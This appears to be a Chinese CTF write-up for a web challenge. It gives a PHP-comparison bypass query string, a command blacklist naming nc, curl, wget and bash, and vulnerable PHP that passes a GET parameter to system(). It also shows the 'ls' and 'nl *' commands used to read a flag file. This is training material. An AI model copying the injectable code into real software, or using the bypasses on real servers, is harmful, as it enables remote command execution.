当前位置: 首页 > news >正文

Web 3

Web 3

更改前题目

题目没有做记录,卡在了最后一步正则绕过,前七个绕过挺简单的

?A[]=1&B[]=2&C=s878926199a&D[]=0&E=5201.1&F=0xDEADC0DE

正则绕过:

if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {system($cmd)                      
}

更改后题目

 <?php
show_source(__FILE__);
error_reporting(0);
function validation_check() {$a = @$_GET['a'];$b = @$_GET['b'];$c = @$_GET['c'];if ($a !== $b && md5($a) === md5($b)) {if ($c == 0 && $c) {return true;}return false;
}
}
function command_execution() {if (!isset($_GET['cmd'])) {die("Where is cmd?");}$command = $_GET['cmd'];execute_command($command);
}
function execute_command($input) {if (strlen($input) > 4) {die("too long!");}system($input);
}
if (validation_check()) {command_execution();
} else {die("NoNoNo");
}

弱类型相等绕过

数字和字符串的比较 0a == 0 为真

md5值强相等绕过

利用md5函数无法对数组进行md5加密,会返回NULL来相等。

命令执行

规定cmd的值不能大于4,首先令cmd=ls发现有两个文件:flag.php index.php

其次使用nl *读出flag.php文件为:

 1 flag{676b4dbb-3c7e-41e0-9d9a-b441f5e2d368} 2 4) { 27 die("too long!"); 28 } 29 system($input); 30 } 31 if (validation_check()) { 32 command_execution(); 33 } else { 34 die("NoNoNo"); 35 } 
http://www.wxhsa.cn/company.asp?id=2816

相关文章:

  • Cursor小程序实战系列一:0到1开发一个小程序,需求整理、小程序注册备案
  • 深入解析:MySQL 数据类型与运算符详解
  • 【前端Vue】如何优雅地在vue中引入ace-editor编辑器 - 指南
  • USACO08 OPEN Roads Around the Farm S (递归)
  • JavaScript生成随机数的方法
  • LiveOS 的制作简介
  • .gitignore 文件
  • 目标检测 | 基于Weiler–Atherton算法的IoU求解
  • 对比Java学习Go——函数、集合和OOP
  • MySQL集群高可用架构 - 指南
  • 【WRF-VPRM 预处理器】HEG 安装(服务器)-MRT专业的工具替代
  • 如何在Spring MVC中处理请求参数
  • redis实现缓存2-解决缓存穿透,缓存击穿
  • 单克隆抗体人源化:从鼠源缺陷到全人源突破,3 大阶段破解临床应用难题
  • 在Kubernetes中DaemonSet无法在master节点调度的问题
  • 9 12-
  • 桌面客户端的主要类型和技术方案
  • AGX Orin平台RTC驱动导致reboot系统卡住障碍调试
  • C 语言实现动态数组、链表、栈与队列
  • git reset
  • ICPC 2025 网络赛第一场 M
  • Brute It -TryHackMe
  • 题解:P12336 第三心脏
  • Spring篇知识点(1)
  • 在CentOS 7系统中彻底移除MongoDB数据库
  • 2025.9.13总结
  • 【数学建模】烟幕干扰弹投放策略优化:模型与算法整合框架 - 实践
  • 开源排名算法工具raink:利用LLM实现智能文档排序
  • lcjmSSL域名SSL证书免费申请
  • uniapp原生插件 TCP Socket 利用文档